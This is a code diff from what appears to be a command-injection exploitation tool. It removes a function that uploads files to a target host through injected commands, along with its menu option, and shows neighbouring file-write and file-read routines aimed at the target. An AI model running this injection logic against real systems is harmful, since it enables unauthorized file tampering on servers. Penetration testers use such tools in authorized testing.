@@ -97,51 +97,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
9797 settings .print_data_to_stdout (settings .SINGLE_WHITESPACE )
9898 checks .file_write_status (shell , dest_to_write )
9999
100- """
101- Upload a file on the target host.
102- """
103- def file_upload (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique ):
104- if technique == settings .INJECTION_TECHNIQUE .CLASSIC :
105- from src .core .injections .results_based .techniques .classic import cb_injector as injector
106- elif technique == settings .INJECTION_TECHNIQUE .DYNAMIC_CODE :
107- from src .core .injections .results_based .techniques .eval_based import eb_injector as injector
108- elif technique == settings .INJECTION_TECHNIQUE .TIME_BASED :
109- from src .core .injections .blind .techniques .time_based import tb_injector as injector
110- elif technique == settings .INJECTION_TECHNIQUE .FILE_BASED :
111- from src .core .injections .semiblind .techniques .file_based import fb_injector as injector
112- else :
113- from src .core .injections .semiblind .techniques .tempfile_based import tfb_injector as injector
114- cmd , dest_to_upload = checks .check_file_to_upload ()
115- if settings .TIME_RELATED_ATTACK :
116- if technique == settings .INJECTION_TECHNIQUE .TIME_BASED :
117- check_exec_time , shell = injector .injection (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , alter_shell , filename , url_time_response , technique )
118- else :
119- check_exec_time , shell = injector .injection (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique )
120- else :
121- if technique == settings .INJECTION_TECHNIQUE .FILE_BASED :
122- response = injector .injection (separator , TAG , cmd , prefix , suffix , whitespace , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , technique )
123- else :
124- response = injector .injection (separator , TAG , cmd , prefix , suffix , whitespace , http_request_method , url , vuln_parameter , alter_shell , filename , technique )
125- shell = injector .injection_results (response , TAG , cmd , technique , url , OUTPUT_TEXTFILE , timesec )
126- shell = "" .join (str (p ) for p in shell )
127- cmd = checks .check_file (dest_to_upload )
128- if settings .TIME_RELATED_ATTACK :
129- check_exec_time , shell = injector .injection (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique )
130- else :
131- if settings .USE_BACKTICKS :
132- cmd = checks .remove_command_substitution (cmd )
133- if technique == settings .INJECTION_TECHNIQUE .FILE_BASED :
134- response = injector .injection (separator , TAG , cmd , prefix , suffix , whitespace , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , technique )
135- else :
136- response = injector .injection (separator , TAG , cmd , prefix , suffix , whitespace , http_request_method , url , vuln_parameter , alter_shell , filename , technique )
137- shell = injector .injection_results (response , TAG , cmd , technique , url , OUTPUT_TEXTFILE , timesec )
138- shell = "" .join (str (p ) for p in shell )
139- if settings .TIME_RELATED_ATTACK :
140- if settings .VERBOSITY_LEVEL == 0 :
141- settings .print_data_to_stdout (settings .SINGLE_WHITESPACE )
142- checks .file_upload_status (shell , dest_to_upload )
143-
144-
145100"""
146101Read a file from the target host.
147102"""
@@ -190,15 +145,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
190145 if menu .options .file_write :
191146 file_write (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique )
192147 settings .FILE_ACCESS_DONE = True
193-
194- if menu .options .file_upload :
195- if settings .TARGET_OS == settings .OS .WINDOWS :
196- check_option = "--file-upload"
197- checks .unavailable_option (check_option )
198- else :
199- file_upload (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique )
200- settings .FILE_ACCESS_DONE = True
201-
148+
202149 if menu .options .file_read :
203150 file_read (separator , maxlen , TAG , cmd , prefix , suffix , whitespace , timesec , http_request_method , url , vuln_parameter , OUTPUT_TEXTFILE , alter_shell , filename , url_time_response , technique )
204151 settings .FILE_ACCESS_DONE = True
0 commit comments